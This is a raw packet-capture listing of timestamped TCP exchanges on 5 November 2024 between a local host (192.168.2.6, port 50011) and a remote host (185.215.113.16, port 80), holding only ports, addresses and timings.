Nov 5, 2024 20:52:09.981733084 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.981745958 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.981769085 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.981769085 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.981780052 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.981794119 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.981811047 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.981827974 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.981909037 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.981931925 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.981954098 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.981957912 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.981973886 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.982004881 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.982070923 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.982090950 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.982121944 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.982121944 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.982148886 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.982152939 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.982182026 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.982197046 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.982408047 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.982430935 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.982454062 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.982474089 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.982475996 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.982498884 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.982507944 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.982517958 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.982534885 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.982561111 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.982568026 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.982590914 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.982611895 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.982631922 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.982639074 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.982666016 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.982688904 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.982747078 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.982768059 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.982786894 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.982790947 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.982805014 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.982810020 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.982822895 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.982831955 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.982853889 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.982857943 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.982877970 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.982880116 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.982893944 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.982922077 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.983247995 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.983268023 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.983288050 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.983290911 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.983319044 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.983326912 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.983345032 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.983386040 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.983402967 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.983426094 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.983460903 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.983474970 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.983571053 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.983592033 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.983613014 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.983634949 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.983638048 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.983669043 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.983694077 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.983732939 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.983755112 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.983784914 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.983795881 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.983901024 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.983923912 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.983946085 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.983975887 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984010935 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984050035 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984072924 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984095097 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984102964 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984117031 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984138966 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984158039 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984159946 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984185934 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984206915 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984214067 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984229088 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984251022 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984271049 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984270096 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984292030 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984297991 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984321117 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984324932 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984343052 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984357119 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984374046 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984394073 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984416008 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984433889 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984458923 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984524965 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984569073 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984577894 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984589100 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984611034 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984611988 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984627962 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984635115 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984652996 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984654903 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984685898 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984685898 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984708071 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984714985 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984734058 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984755993 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984776974 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984781981 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984801054 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984802008 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984821081 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984824896 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984862089 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984864950 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984869003 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984889984 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984925032 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984940052 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984950066 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984962940 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.984972954 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.984991074 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.985007048 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.985011101 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.985030890 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.985053062 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.985069036 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.985074997 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.985093117 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.985097885 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.985121965 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.985141039 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.985169888 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.985192060 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.985213995 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.985238075 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.985240936 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.985264063 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.985277891 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.985333920 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.985356092 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.985378981 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.985384941 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.985403061 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.985404015 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.985419035 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.985445976 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.985496044 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.985517979 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.985539913 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.985562086 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.985567093 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.985591888 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.985618114 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.985649109 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.985712051 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.985735893 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.985761881 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.985769033 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.985780001 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.985783100 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.985806942 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.985816956 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.985830069 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.985837936 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.985857964 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.985886097 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.029735088 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.029778004 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.029797077 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.029820919 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.073005915 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.073030949 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.073056936 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.073082924 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.073129892 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.073777914 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.073838949 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.073854923 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.073883057 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.073909998 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.076143980 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.076191902 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.076195002 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.076214075 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.076236010 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.076236963 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.076253891 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.076253891 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.076276064 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.076345921 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.076386929 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.076416016 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.076432943 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.076461077 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.076483011 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.076510906 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.076528072 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.076543093 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.076555967 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.076569080 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.076570988 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.076581955 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.076591015 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.076605082 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.076611042 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.076634884 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.076651096 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.076721907 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.076770067 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.076781034 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.076785088 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.076809883 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.076821089 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.077456951 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.077476025 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.077492952 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.077502012 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.077519894 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.077533007 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.077626944 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.077687979 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.077708960 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.077728033 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.077750921 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.077756882 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.077764034 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.077775955 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.077795982 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.077805042 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.077810049 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.077843904 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.077919960 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.077946901 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.077965021 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.077965021 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.077984095 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.077985048 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078003883 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078003883 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078023911 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078032970 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078042030 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078079939 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078104019 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078114033 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078121901 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078121901 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078140974 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078150034 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078166008 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078172922 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078172922 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078183889 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078198910 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078202963 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078222036 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078227997 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078242064 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078243971 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078258991 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078260899 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078282118 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078289032 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078293085 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078309059 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078327894 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078346014 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078347921 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078367949 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078397989 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078408003 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078425884 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078447104 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078454018 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078478098 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078481913 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078497887 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078525066 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078531027 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078543901 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078555107 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078560114 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078579903 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078588009 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078784943 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078811884 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078829050 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078830957 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078840971 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078847885 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078865051 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078865051 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078876972 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078883886 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078893900 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078912973 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078913927 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078939915 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078948021 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078958035 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078974962 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.078990936 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.078993082 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.079010963 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.079013109 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.079029083 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.079032898 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.079046965 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.079046965 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.079060078 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.079080105 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.079545975 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.079596996 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.079602003 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.079616070 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.079634905 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.079653978 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.079705000 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.079721928 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.079754114 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.079761982 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.079803944 CET	80	50011	185.215.113.16	192.168.2.6
